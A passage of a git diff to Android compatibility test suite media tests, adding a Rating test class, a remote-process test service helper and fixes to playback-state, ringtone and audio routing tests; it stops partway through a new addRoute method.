diff --git a/tests/tests/media/src/android/media/cts/PlaybackStateTest.java b/tests/tests/media/src/android/media/cts/PlaybackStateTest.java
index 8559570..54ae88b 100644
--- a/tests/tests/media/src/android/media/cts/PlaybackStateTest.java
+++ b/tests/tests/media/src/android/media/cts/PlaybackStateTest.java
@@ -250,6 +250,39 @@
         parcel.recycle();
     }
 
+    /**
+     * Tests that each ACTION_* constant does not overlap.
+     */
+    public void testActionConstantDoesNotOverlap() {
+        long[] actionConstants = new long[] {
+                PlaybackState.ACTION_STOP,
+                PlaybackState.ACTION_PAUSE,
+                PlaybackState.ACTION_PLAY,
+                PlaybackState.ACTION_REWIND,
+                PlaybackState.ACTION_SKIP_TO_PREVIOUS,
+                PlaybackState.ACTION_SKIP_TO_NEXT,
+                PlaybackState.ACTION_FAST_FORWARD,
+                PlaybackState.ACTION_SET_RATING,
+                PlaybackState.ACTION_SEEK_TO,
+                PlaybackState.ACTION_PLAY_PAUSE,
+                PlaybackState.ACTION_PLAY_FROM_MEDIA_ID,
+                PlaybackState.ACTION_PLAY_FROM_SEARCH,
+                PlaybackState.ACTION_SKIP_TO_QUEUE_ITEM,
+                PlaybackState.ACTION_PLAY_FROM_URI,
+                PlaybackState.ACTION_PREPARE,
+                PlaybackState.ACTION_PREPARE_FROM_MEDIA_ID,
+                PlaybackState.ACTION_PREPARE_FROM_SEARCH,
+                PlaybackState.ACTION_PREPARE_FROM_URI,
+                PlaybackState.ACTION_SET_PLAYBACK_SPEED};
+
+        // Check that the values are not overlapped.
+        for (int i = 0; i < actionConstants.length; i++) {
+            for (int j = i + 1; j < actionConstants.length; j++) {
+                assertEquals(0, actionConstants[i] & actionConstants[j]);
+            }
+        }
+    }
+
     private void assertCustomActionEquals(PlaybackState.CustomAction action1,
             PlaybackState.CustomAction action2) {
         assertEquals(action1.getAction(), action2.getAction());
diff --git a/tests/tests/media/src/android/media/cts/RatingTest.java b/tests/tests/media/src/android/media/cts/RatingTest.java
new file mode 100644
index 0000000..8863602
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/RatingTest.java
@@ -0,0 +1,224 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static android.media.Rating.RATING_3_STARS;
+import static android.media.Rating.RATING_4_STARS;
+import static android.media.Rating.RATING_5_STARS;
+import static android.media.Rating.RATING_HEART;
+import static android.media.Rating.RATING_NONE;
+import static android.media.Rating.RATING_PERCENTAGE;
+import static android.media.Rating.RATING_THUMB_UP_DOWN;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+
+import android.media.Rating;
+import android.os.Parcel;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests {@link android.media.Rating}.
+ *
+ * TODO: Tests for applying invalid method (e.g. heartRating.getPercentRating()).
+ * TODO: Tests for methods inherited from Parcelable
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class RatingTest {
+
+    @Test
+    public void testNewUnratedRating() {
+        final int[] ratingStyles = new int[] { RATING_HEART, RATING_THUMB_UP_DOWN, RATING_3_STARS,
+                RATING_4_STARS, RATING_5_STARS, RATING_PERCENTAGE };
+        for (int ratingStyle : ratingStyles) {
+            Rating rating = Rating.newUnratedRating(ratingStyle);
+            assertNotNull(rating);
+            assertEquals(ratingStyle, rating.getRatingStyle());
+            assertFalse(rating.isRated());
+        }
+
+        final int[] invalidRatingStyles = new int[] {RATING_NONE, -1};
+        for (int invalidRatingStyle : invalidRatingStyles) {
+            Rating rating = Rating.newUnratedRating(invalidRatingStyle);
+            assertNull(rating);
+        }
+    }
+
+    @Test
+    public void testHeartRating() {
+        Rating ratingWithHeart = Rating.newHeartRating(/*hasHeart=*/ true);
+        assertEquals(RATING_HEART, ratingWithHeart.getRatingStyle());
+        assertTrue(ratingWithHeart.hasHeart());
+        assertTrue(ratingWithHeart.isRated());
+
+        Rating ratingWithoutHeart = Rating.newHeartRating(/*hasHeart=*/ false);
+        assertEquals(RATING_HEART, ratingWithoutHeart.getRatingStyle());
+        assertFalse(ratingWithoutHeart.hasHeart());
+        assertTrue(ratingWithoutHeart.isRated());
+    }
+
+    @Test
+    public void testHeartRatingWithIllegalRatingValueGetters() {
+        Rating ratingWithHeart = Rating.newHeartRating(/*hasHeart=*/ true);
+        assertFalse(ratingWithHeart.isThumbUp());
+        assertTrue(ratingWithHeart.getStarRating() < 0f);
+        assertTrue(ratingWithHeart.getPercentRating() < 0f);
+    }
+
+    @Test
+    public void testThumbRating() {
+        Rating ratingThumbUp = Rating.newThumbRating(/*thumbIsUp=*/ true);
+        assertEquals(RATING_THUMB_UP_DOWN, ratingThumbUp.getRatingStyle());
+        assertTrue(ratingThumbUp.isThumbUp());
+        assertTrue(ratingThumbUp.isRated());
+
+        Rating ratingThumbDown = Rating.newThumbRating(/*thumbIsUp=*/ false);
+        assertEquals(RATING_THUMB_UP_DOWN, ratingThumbDown.getRatingStyle());
+        assertFalse(ratingThumbDown.isThumbUp());
+        assertTrue(ratingThumbDown.isRated());
+    }
+
+    @Test
+    public void testThumbRatingWithIllegalRatingValueGetters() {
+        Rating ratingThumbUp = Rating.newThumbRating(/*thumbIsUp=*/ true);
+        assertFalse(ratingThumbUp.hasHeart());
+        assertTrue(ratingThumbUp.getStarRating() < 0f);
+        assertTrue(ratingThumbUp.getPercentRating() < 0f);
+    }
+
+    @Test
+    public void testNewStarRatingWithInvalidStylesReturnsNull() {
+        final int[] nonStarRatingStyles = new int[] { RATING_HEART, RATING_THUMB_UP_DOWN,
+                RATING_PERCENTAGE, RATING_NONE };
+        for (int nonStarRatingStyle : nonStarRatingStyles) {
+            assertNull(Rating.newStarRating(nonStarRatingStyle, 1.0f));
+        }
+    }
+
+    @Test
+    public void testNewStarRatingWithInvalidRatingValuesReturnsNull() {
+        assertNull(Rating.newStarRating(RATING_3_STARS, -1.0f));
+        assertNull(Rating.newStarRating(RATING_3_STARS, 4f));
+        assertNull(Rating.newStarRating(RATING_3_STARS, Float.MAX_VALUE));
+        assertNull(Rating.newStarRating(RATING_3_STARS, Float.NaN));
+
+        assertNull(Rating.newStarRating(RATING_4_STARS, -1.0f));
+        assertNull(Rating.newStarRating(RATING_4_STARS, 5f));
+        assertNull(Rating.newStarRating(RATING_4_STARS, Float.MAX_VALUE));
+        assertNull(Rating.newStarRating(RATING_4_STARS, Float.NaN));
+
+        assertNull(Rating.newStarRating(RATING_5_STARS, -1.0f));
+        assertNull(Rating.newStarRating(RATING_5_STARS, 6f));
+        assertNull(Rating.newStarRating(RATING_5_STARS, Float.MAX_VALUE));
+        assertNull(Rating.newStarRating(RATING_5_STARS, Float.NaN));
+    }
+
+    @Test
+    public void testStarRating() {
+        final float starRatingValue = 1.5f;
+        final int[] starRatingStyles = new int[] { RATING_3_STARS, RATING_4_STARS, RATING_5_STARS};
+
+        for (int starRatingStyle : starRatingStyles) {
+            Rating starRating = Rating.newStarRating(starRatingStyle, starRatingValue);
+            assertNotNull(starRating);
+            assertEquals(starRatingStyle, starRating.getRatingStyle());
+            assertEquals(starRatingValue, starRating.getStarRating(), /*delta=*/ 0f);
+            assertTrue(starRating.isRated());
+        }
+    }
+
+    @Test
+    public void testStarRatingWithIllegalRatingValueGetters() {
+        Rating starRating = Rating.newStarRating(RATING_3_STARS, /*starValue=*/ 2.5f);
+        assertFalse(starRating.hasHeart());
+        assertFalse(starRating.isThumbUp());
+        assertTrue(starRating.getPercentRating() < 0f);
+    }
+
+    @Test
+    public void testNewPercentageRatingWithInvalidPercentValuesReturnsNull() {
+        final float[] invalidPercentValues = new float[] {-1.0f, 100.1f, 200f, 1000f,
+                Float.MAX_VALUE, Float.NaN};
+        for (float invalidPercentValue : invalidPercentValues) {
+            assertNull(Rating.newPercentageRating(invalidPercentValue));
+        }
+    }
+
+    @Test
+    public void testPercentageRating() {
+        final float[] percentValues = new float[] { 0.0f, 20.0f, 33.3f, 50.0f, 64.5f, 89.9f, 100f};
+        for (float percentValue : percentValues) {
+            Rating percentageRating = Rating.newPercentageRating(percentValue);
+            assertNotNull(percentageRating);
+            assertEquals(RATING_PERCENTAGE, percentageRating.getRatingStyle());
+            assertEquals(percentValue, percentageRating.getPercentRating(), /*delta=*/ 0f);
+            assertTrue(percentageRating.isRated());
+        }
+    }
+
+    @Test
+    public void testPercentageWithIllegalRatingValueGetters() {
+        Rating percentageRating = Rating.newPercentageRating(72.5f);
+        assertFalse(percentageRating.hasHeart());
+        assertFalse(percentageRating.isThumbUp());
+        assertTrue(percentageRating.getStarRating() < 0f);
+    }
+
+    @Test
+    public void testToStringDoesNotCrash() {
+        Rating rating = Rating.newHeartRating(/*hasHeart=*/ true);
+        rating.toString(); // This should not crash.
+    }
+
+    @Test
+    public void testParcelization() {
+        Parcel p = Parcel.obtain();
+        try {
+            Rating rating = Rating.newStarRating(RATING_4_STARS, 3.5f);
+            p.writeParcelable(rating, /*flags=*/ 0);
+            p.setDataPosition(0);
+
+            Rating ratingFromParcel = p.readParcelable(null);
+            assertNotNull(ratingFromParcel);
+            // TODO: Compare two rating using equals() when it is implemented.
+            assertEquals(rating.getRatingStyle(), ratingFromParcel.getRatingStyle());
+            assertEquals(rating.getStarRating(), ratingFromParcel.getStarRating(), 0f);
+        } finally {
+            p.recycle();
+        }
+    }
+
+    @Test
+    public void testCreatorNewArray() {
+        final int arrayLength = 5;
+        Rating[] ratingArrayInitializedWithNulls = Rating.CREATOR.newArray(arrayLength);
+        assertNotNull(ratingArrayInitializedWithNulls);
+        assertEquals(arrayLength, ratingArrayInitializedWithNulls.length);
+        for (Rating rating : ratingArrayInitializedWithNulls) {
+            assertNull(rating);
+        }
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/RemoteService.java b/tests/tests/media/src/android/media/cts/RemoteService.java
new file mode 100644
index 0000000..0d98251
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/RemoteService.java
@@ -0,0 +1,188 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static org.junit.Assert.assertTrue;
+
+import static java.util.concurrent.TimeUnit.MILLISECONDS;
+
+import android.annotation.NonNull;
+import android.annotation.Nullable;
+import android.app.Service;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.IBinder;
+import android.os.RemoteException;
+import android.util.Log;
+
+import java.io.Closeable;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.atomic.AtomicReference;
+
+/**
+ * Base class for a service that runs on a remote process. The service that extends this class must
+ * be added to AndroidManifest.xml with "android:process" attribute to be run on a separate process.
+ */
+public abstract class RemoteService extends Service {
+    private static final String TAG = "RemoteService";
+    public static final long TIMEOUT_MS = 10_000;
+
+    private RemoteServiceStub mBinder;
+    private HandlerThread mHandlerThread;
+    private volatile Handler mHandler;
+
+    @Override
+    public void onCreate() {
+        mBinder = new RemoteServiceStub();
+        mHandlerThread = new HandlerThread(TAG);
+        mHandlerThread.start();
+        mHandler = new Handler(mHandlerThread.getLooper());
+    }
+
+    @Override
+    public void onDestroy() {
+        mHandlerThread.quitSafely();
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return mBinder;
+    }
+
+    /**
+     * Called by {@link Invoker#run}. It will be run on a dedicated {@link HandlerThread}.
+     *
+     * @param testId id of the test case
+     * @param step the step of a command to run
+     * @param args optional arguments
+     * @throws Exception if any
+     */
+    public abstract void onRun(int testId, int step, @Nullable Bundle args) throws Exception;
+
+    private boolean runOnHandlerSync(TestRunnable runnable) {
+        CountDownLatch latch = new CountDownLatch(1);
+        AtomicReference<Throwable> throwable = new AtomicReference<>();
+        mHandler.post(() -> {
+            try {
+                runnable.run();
+            } catch (Throwable th) {
+                throwable.set(th);
+                Log.e(TAG, "Error while running TestRunnable", th);
+            }
+            latch.countDown();
+        });
+        try {
+            boolean done = latch.await(TIMEOUT_MS, MILLISECONDS);
+            return done && throwable.get() == null;
+        } catch (InterruptedException ex) {
+            Log.w(TAG, ex);
+            return false;
+        }
+    }
+
+    private interface TestRunnable {
+        void run() throws Exception;
+    }
+
+    private class RemoteServiceStub extends IRemoteService.Stub {
+        @Override
+        public boolean run(int testId, int step, Bundle args) throws RemoteException {
+            return runOnHandlerSync(() -> onRun(testId, step, args));
+        }
+    }
+
+    /**
+     * A class to run commands on a {@link RemoteService} for a test case.
+     */
+    public static class Invoker implements Closeable {
+        private static final String ASSERTION_MESSAGE =
+                "Failed on remote service. See logcat TAG=" + TAG + " for detail.";
+
+        private final Context mContext;
+        private final int mTestId;
+        private final CountDownLatch mConnectionLatch;
+        private final ServiceConnection mServiceConnection;
+        private IRemoteService mBinder;
+
+        /**
+         * Creates an instance and connects to the remote service.
+         *
+         * @param context the context
+         * @param serviceClass the class of remote service
+         * @param testId id of the test case
+         * @throws InterruptedException if the thread is interrupted while waiting for connection
+         */
+        public Invoker(@NonNull Context context,
+                @NonNull Class<? extends RemoteService> serviceClass, int testId)
+                throws InterruptedException {
+            mContext = context;
+            mTestId = testId;
+            mConnectionLatch = new CountDownLatch(1);
+            mServiceConnection = new ServiceConnection() {
+                @Override
+                public void onServiceConnected(ComponentName name, IBinder service) {
+                    mBinder = IRemoteService.Stub.asInterface(service);
+                    mConnectionLatch.countDown();
+                }
+
+                @Override
+                public void onServiceDisconnected(ComponentName name) {
+                    mBinder = null;
+                }
+            };
+
+            Intent intent = new Intent(mContext, serviceClass);
+            mContext.bindService(intent, mServiceConnection, BIND_AUTO_CREATE);
+            assertTrue("Failed to bind to service " + serviceClass,
+                    mConnectionLatch.await(TIMEOUT_MS, MILLISECONDS));
+        }
+
+        /**
+         * Disconnects from the remote service.
+         */
+        @Override
+        public void close() {
+            mContext.unbindService(mServiceConnection);
+        }
+
+        /**
+         * Invokes {@link #onRun} on the remote service without optional arguments.
+         *
+         * @param step the step of a command to run
+         * @throws RemoteException if binder throws exception
+         */
+        public void run(int step) throws RemoteException {
+            run(step, null);
+        }
+
+        /**
+         * Invokes {@link #onRun} on the remote service.
+         *
+         * @param step the step of a command to run
+         * @param args optional arguments
+         * @throws RemoteException if binder throws exception
+         */
+        public void run(int step, @Nullable Bundle args) throws RemoteException {
+            assertTrue(ASSERTION_MESSAGE, mBinder.run(mTestId, step, args));
+        }
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/RemoteVirtualDisplayService.java b/tests/tests/media/src/android/media/cts/RemoteVirtualDisplayService.java
index eac2c89..38cd279 100644
--- a/tests/tests/media/src/android/media/cts/RemoteVirtualDisplayService.java
+++ b/tests/tests/media/src/android/media/cts/RemoteVirtualDisplayService.java
@@ -173,7 +173,6 @@
                 // This theme is required to prevent an extra view from obscuring the presentation
                 super(outerContext, display,
                         android.R.style.Theme_Holo_Light_NoActionBar_TranslucentDecor);
-                getWindow().setType(WindowManager.LayoutParams.TYPE_PRIVATE_PRESENTATION);
                 getWindow().addFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED);
             }
 
diff --git a/tests/tests/media/src/android/media/cts/RingtoneTest.java b/tests/tests/media/src/android/media/cts/RingtoneTest.java
index ba289f3..bd786b9 100644
--- a/tests/tests/media/src/android/media/cts/RingtoneTest.java
+++ b/tests/tests/media/src/android/media/cts/RingtoneTest.java
@@ -22,6 +22,7 @@
 import android.media.AudioManager;
 import android.media.Ringtone;
 import android.media.RingtoneManager;
+import android.media.audiofx.HapticGenerator;
 import android.net.Uri;
 import android.platform.test.annotations.AppModeFull;
 import android.provider.Settings;
@@ -164,7 +165,7 @@
         assertFalse(mRingtone.isPlaying());
     }
 
-    public void testLoopingVolume() {
+    public void testPlaybackProperties() {
         if (isTV()) {
             return;
         }
@@ -184,9 +185,11 @@
         assertEquals(ringtoneAa, mRingtone.getAudioAttributes());
         mRingtone.setLooping(true);
         mRingtone.setVolume(0.5f);
+        assertEquals(HapticGenerator.isAvailable(), mRingtone.setHapticGeneratorEnabled(true));
         mRingtone.play();
         assertTrue("couldn't play ringtone " + uri, mRingtone.isPlaying());
         assertTrue(mRingtone.isLooping());
+        assertEquals(HapticGenerator.isAvailable(), mRingtone.isHapticGeneratorEnabled());
         assertEquals("invalid ringtone player volume", 0.5f, mRingtone.getVolume());
         mRingtone.stop();
         assertFalse(mRingtone.isPlaying());
diff --git a/tests/tests/media/src/android/media/cts/RoutingTest.java b/tests/tests/media/src/android/media/cts/RoutingTest.java
index 72d84ba..cd70a51 100644
--- a/tests/tests/media/src/android/media/cts/RoutingTest.java
+++ b/tests/tests/media/src/android/media/cts/RoutingTest.java
@@ -52,8 +52,10 @@
 import java.util.Arrays;
 import java.util.HashSet;
 import java.util.Set;
+import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.ExecutorService;
 import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
 
 /**
  * AudioTrack / AudioRecord / MediaPlayer / MediaRecorder preferred device
@@ -72,16 +74,13 @@
     private static final int AUDIO_SAMPLE_RATE_HZ = 8000;
     private static final long MAX_FILE_SIZE_BYTE = 5000;
     private static final int RECORD_TIME_MS = 3000;
+    private static final long WAIT_PLAYBACK_START_TIME_MS = 1000;
     private static final Set<Integer> AVAILABLE_INPUT_DEVICES_TYPE = new HashSet<>(
         Arrays.asList(AudioDeviceInfo.TYPE_BUILTIN_MIC));
     static final String mInpPrefix = WorkDir.getMediaDirString();
 
-    private boolean mRoutingChanged;
-    private boolean mRoutingChangedDetected;
     private AudioManager mAudioManager;
     private File mOutFile;
-    private Looper mRoutingChangedLooper;
-    private Object mRoutingChangedLock = new Object();
 
     @Override
     protected void setUp() throws Exception {
@@ -135,6 +134,10 @@
         // test each device
         AudioDeviceInfo[] deviceList = mAudioManager.getDevices(AudioManager.GET_DEVICES_OUTPUTS);
         for (int index = 0; index < deviceList.length; index++) {
+            if (deviceList[index].getType() == AudioDeviceInfo.TYPE_TELEPHONY) {
+                // Device with type as TYPE_TELEPHONY requires a privileged permission.
+                continue;
+            }
             assertTrue(audioTrack.setPreferredDevice(deviceList[index]));
             assertTrue(audioTrack.getPreferredDevice() == deviceList[index]);
         }
@@ -453,7 +456,7 @@
         }
     }
 
-    public void test_audioTrack_getRoutedDevice() {
+    public void test_audioTrack_getRoutedDevice() throws Exception {
         if (!DeviceUtils.hasOutputDevice(mAudioManager)) {
             Log.i(TAG, "No output devices. Test skipped");
             return; // nothing to test here
@@ -481,17 +484,25 @@
         Thread fillerThread = new Thread(filler);
         fillerThread.start();
 
-        try { Thread.sleep(1000); } catch (InterruptedException ex) {}
-
-        // No explicit route
-        AudioDeviceInfo routedDevice = audioTrack.getRoutedDevice();
-        assertNotNull(routedDevice); // we probably can't say anything more than this
+        assertHasNonNullRoutedDevice(audioTrack);
 
         filler.stop();
         audioTrack.stop();
         audioTrack.release();
     }
 
+    private void assertHasNonNullRoutedDevice(AudioRouting router) throws Exception {
+        AudioDeviceInfo routedDevice = null;
+        // Give a chance for playback or recording to start so routing can be established
+        final long timeouts[] = { 100, 200, 500, 500, 1000};
+        int attempt = 0;
+        do {
+            try { Thread.sleep(timeouts[attempt++]); } catch (InterruptedException ex) {}
+            routedDevice = router.getRoutedDevice();
+        } while (routedDevice == null && attempt < timeouts.length);
+        assertNotNull(routedDevice); // we probably can't say anything more than this
+    }
+
     private class AudioRecordPuller implements Runnable {
         AudioRecord mAudioRecord;
         int mBufferSize;
@@ -517,7 +528,7 @@
         }
     }
 
-    public void test_audioRecord_getRoutedDevice() {
+    public void test_audioRecord_getRoutedDevice() throws Exception {
         if (!mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_MICROPHONE)) {
             return;
         }
@@ -547,25 +558,42 @@
         Thread pullerThread = new Thread(puller);
         pullerThread.start();
 
-        try { Thread.sleep(1000); } catch (InterruptedException ex) {}
-
-        // No explicit route
-        AudioDeviceInfo routedDevice = audioRecord.getRoutedDevice();
-        assertNotNull(routedDevice); // we probably can't say anything more than this
+        assertHasNonNullRoutedDevice(audioRecord);
 
         puller.stop();
         audioRecord.stop();
         audioRecord.release();
     }
 
-    private class AudioRoutingListener implements AudioRouting.OnRoutingChangedListener
+    static class AudioRoutingListener implements AudioRouting.OnRoutingChangedListener
     {
+        private boolean mCalled;
+        private CountDownLatch mCountDownLatch;
+
+        AudioRoutingListener() {
+            reset();
+        }
+
         public void onRoutingChanged(AudioRouting audioRouting) {
-            synchronized (mRoutingChangedLock) {
-                mRoutingChanged = true;
-                mRoutingChangedLock.notify();
+            mCalled = true;
+            mCountDownLatch.countDown();
+        }
+
+        void await(long timeoutMs) {
+            try {
+                mCountDownLatch.await(timeoutMs, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
             }
         }
+
+        boolean isRoutingListenerCalled() {
+            return mCalled;
+        }
+
+        void reset() {
+            mCountDownLatch = new CountDownLatch(1);
+            mCalled = false;
+        }
     }
 
     private MediaPlayer allocMediaPlayer() {
@@ -605,6 +633,10 @@
         // test each device
         AudioDeviceInfo[] deviceList = mAudioManager.getDevices(AudioManager.GET_DEVICES_OUTPUTS);
         for (int index = 0; index < deviceList.length; index++) {
+            if (deviceList[index].getType() == AudioDeviceInfo.TYPE_TELEPHONY) {
+                // Device with type as TYPE_TELEPHONY requires a privileged permission.
+                continue;
+            }
             assertTrue(mediaPlayer.setPreferredDevice(deviceList[index]));
             assertTrue(mediaPlayer.getPreferredDevice() == deviceList[index]);
         }
@@ -617,7 +649,7 @@
         mediaPlayer.release();
     }
 
-    public void test_mediaPlayer_getRoutedDevice() {
+    public void test_mediaPlayer_getRoutedDevice() throws Exception {
         if (!mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT)) {
             // Can't do it so skip this test
             return;
@@ -626,12 +658,7 @@
         MediaPlayer mediaPlayer = allocMediaPlayer();
         assertTrue(mediaPlayer.isPlaying());
 
-        // Sleep for 1s to ensure the output device open
-        SystemClock.sleep(1000);
-
-        // No explicit route
-        AudioDeviceInfo routedDevice = mediaPlayer.getRoutedDevice();
-        assertNotNull(routedDevice);
+        assertHasNonNullRoutedDevice(mediaPlayer);
 
         mediaPlayer.stop();
         mediaPlayer.release();
@@ -684,66 +711,41 @@
             return;
         }
 
-        mRoutingChanged = false;
-        mRoutingChangedLooper = null;
-        mRoutingChangedDetected = false;
-        // Create MediaPlayer in another thread to make sure there is a looper active for events.
-        Thread t = new Thread() {
-            @Override
-            public void run() {
-                Looper.prepare();
-                // Keep looper to terminate when the test is finished.
-                mRoutingChangedLooper = Looper.myLooper();
-                AudioRoutingListener listener = new AudioRoutingListener();
-                MediaPlayer mediaPlayer = allocMediaPlayer();
-                mediaPlayer.addOnRoutingChangedListener(listener, null);
-                // With setting preferred device, the output device may switch.
-                // Post the request delayed to ensure the message queue is running
-                // so that the routing changed event can be handled correctly.
-                Handler handler = new Handler();
-                handler.postDelayed(new Runnable() {
-                    @Override
-                    public void run() {
-                        AudioDeviceInfo routedDevice = mediaPlayer.getRoutedDevice();
-                        if (routedDevice == null) {
-                            return;
-                        }
-                        AudioDeviceInfo[] devices = mAudioManager.getDevices(
-                                AudioManager.GET_DEVICES_OUTPUTS);
-                        for (AudioDeviceInfo device : devices) {
-                            if (routedDevice.getId() != device.getId()) {
-                                mediaPlayer.setPreferredDevice(device);
-                                try {
-                                    Thread.sleep(WAIT_ROUTING_CHANGE_TIME_MS);
-                                } catch (Exception e) {
-                                }
-                                AudioDeviceInfo currentRoutedDevice = mediaPlayer.getRoutedDevice();
-                                if (currentRoutedDevice != null
-                                        && currentRoutedDevice.getId() != routedDevice.getId()) {
-                                    mRoutingChangedDetected = true;
-                                    break;
-                                }
-                            }
-                        }
-                    }
-                }, 1000);
-                Looper.loop();
-                mediaPlayer.removeOnRoutingChangedListener(listener);
-                mediaPlayer.stop();
-                mediaPlayer.release();
+        AudioRoutingListener listener = new AudioRoutingListener();
+        MediaPlayer mediaPlayer = allocMediaPlayer(null, false);
+        mediaPlayer.addOnRoutingChangedListener(listener, null);
+        mediaPlayer.start();
+        try {
+            // Wait a second so that the player
+            Thread.sleep(WAIT_PLAYBACK_START_TIME_MS);
+        } catch (Exception e) {
+        }
+
+        AudioDeviceInfo routedDevice = mediaPlayer.getRoutedDevice();
+        assertTrue("Routed device should not be null", routedDevice != null);
+
+        // Reset the routing listener as the listener is called to notify the routed device
+        // when the playback starts.
+        listener.await(WAIT_ROUTING_CHANGE_TIME_MS);
+        assertTrue("Routing changed callback has not been called when starting playback",
+                listener.isRoutingListenerCalled());
+        listener.reset();
+
+        for (AudioDeviceInfo device : devices) {
+            if (routedDevice.getId() != device.getId() &&
+                    device.getType() != AudioDeviceInfo.TYPE_TELEPHONY) {
+                mediaPlayer.setPreferredDevice(device);
+                listener.await(WAIT_ROUTING_CHANGE_TIME_MS);
+                break;
             }
-        };
-        t.start();
-        synchronized (mRoutingChangedLock) {
-            mRoutingChangedLock.wait(WAIT_ROUTING_CHANGE_TIME_MS);
         }
-        if (mRoutingChangedLooper != null) {
-            mRoutingChangedLooper.quitSafely();
-            mRoutingChangedLooper = null;
-        }
-        t.join();
+
+        mediaPlayer.removeOnRoutingChangedListener(listener);
+        mediaPlayer.stop();
+        mediaPlayer.release();
+
         assertTrue("Routing changed callback has not been called",
-                (mRoutingChanged || !mRoutingChangedDetected));
+                listener.isRoutingListenerCalled());
     }
 
     public void test_mediaPlayer_incallMusicRoutingPermissions() {
diff --git a/tests/tests/media/src/android/media/cts/StubMediaBrowserService.java b/tests/tests/media/src/android/media/cts/StubMediaBrowserService.java
index 9190d10..f9ec34c 100644
--- a/tests/tests/media/src/android/media/cts/StubMediaBrowserService.java
+++ b/tests/tests/media/src/android/media/cts/StubMediaBrowserService.java
@@ -16,6 +16,7 @@
 
 package android.media.cts;
 
+import android.annotation.NonNull;
 import android.media.MediaDescription;
 import android.media.browse.MediaBrowser.MediaItem;
 import android.media.session.MediaSession;
@@ -27,7 +28,9 @@
 
 import java.util.ArrayList;
 import java.util.Collections;
+import java.util.HashMap;
 import java.util.List;
+import java.util.Map;
 
 /**
  * Stub implementation of (@link android.service.media.MediaBrowserService}.
@@ -55,6 +58,7 @@
     private Result<List<MediaItem>> mPendingLoadChildrenResult;
     private Result<MediaItem> mPendingLoadItemResult;
     private Bundle mPendingRootHints;
+    private final Map<String, List<MediaItem>> mChildrenMap = new HashMap<>();
 
     public static void clearBrowserInfo() {
         sBrowserInfo = null;
@@ -102,6 +106,8 @@
             result.detach();
         } else if (MEDIA_ID_INVALID.equals(parentMediaId)) {
             result.sendResult(null);
+        } else if (mChildrenMap.containsKey(parentMediaId)) {
+            result.sendResult(mChildrenMap.get(parentMediaId));
         }
     }
 
@@ -127,6 +133,14 @@
         super.onLoadItem(itemId, result);
     }
 
+    public void putChildrenToMap(@NonNull String parentMediaId, @NonNull List<MediaItem> children) {
+        mChildrenMap.put(parentMediaId, children);
+    }
+
+    public void removeChildrenFromMap(@NonNull String parentMediaId) {
+        mChildrenMap.remove(parentMediaId);
+    }
+
     public void sendDelayedNotifyChildrenChanged() {
         if (mPendingLoadChildrenResult != null) {
             mPendingLoadChildrenResult.sendResult(Collections.<MediaItem>emptyList());
diff --git a/tests/tests/media/src/android/media/cts/StubMediaRoute2ProviderService.java b/tests/tests/media/src/android/media/cts/StubMediaRoute2ProviderService.java
index af02d16..efe4859 100644
--- a/tests/tests/media/src/android/media/cts/StubMediaRoute2ProviderService.java
+++ b/tests/tests/media/src/android/media/cts/StubMediaRoute2ProviderService.java
@@ -35,6 +35,7 @@
 import java.util.HashMap;
 import java.util.List;
 import java.util.Map;
+import java.util.Objects;
 
 import javax.annotation.concurrent.GuardedBy;
 
@@ -58,6 +59,7 @@
     public static final String ROUTE_ID_SPECIAL_FEATURE = "route_special_feature";
     public static final String ROUTE_NAME_SPECIAL_FEATURE = "Special Feature Route";
 
+    public static final int INITIAL_VOLUME = 30;
     public static final int VOLUME_MAX = 100;
     public static final int SESSION_VOLUME_MAX = 50;
     public static final int SESSION_VOLUME_INITIAL = 20;
@@ -122,6 +124,7 @@
                 new MediaRoute2Info.Builder(ROUTE_ID_VARIABLE_VOLUME, ROUTE_NAME_VARIABLE_VOLUME)
                         .addFeature(FEATURE_SAMPLE)
                         .setVolumeHandling(PLAYBACK_VOLUME_VARIABLE)
+                        .setVolume(INITIAL_VOLUME)
                         .setVolumeMax(VOLUME_MAX)
                         .build();
 
@@ -383,6 +386,28 @@
         publishRoutes();
     }
 
+    /**
+     * Adds a route and publishes it. It could replace a route in the provider if
+     * they have the same route id.
+     */
+    public void addRoute(@NonNull MediaRoute2Info route) {
+        Objects.requireNonNull(route, "route must not be null");
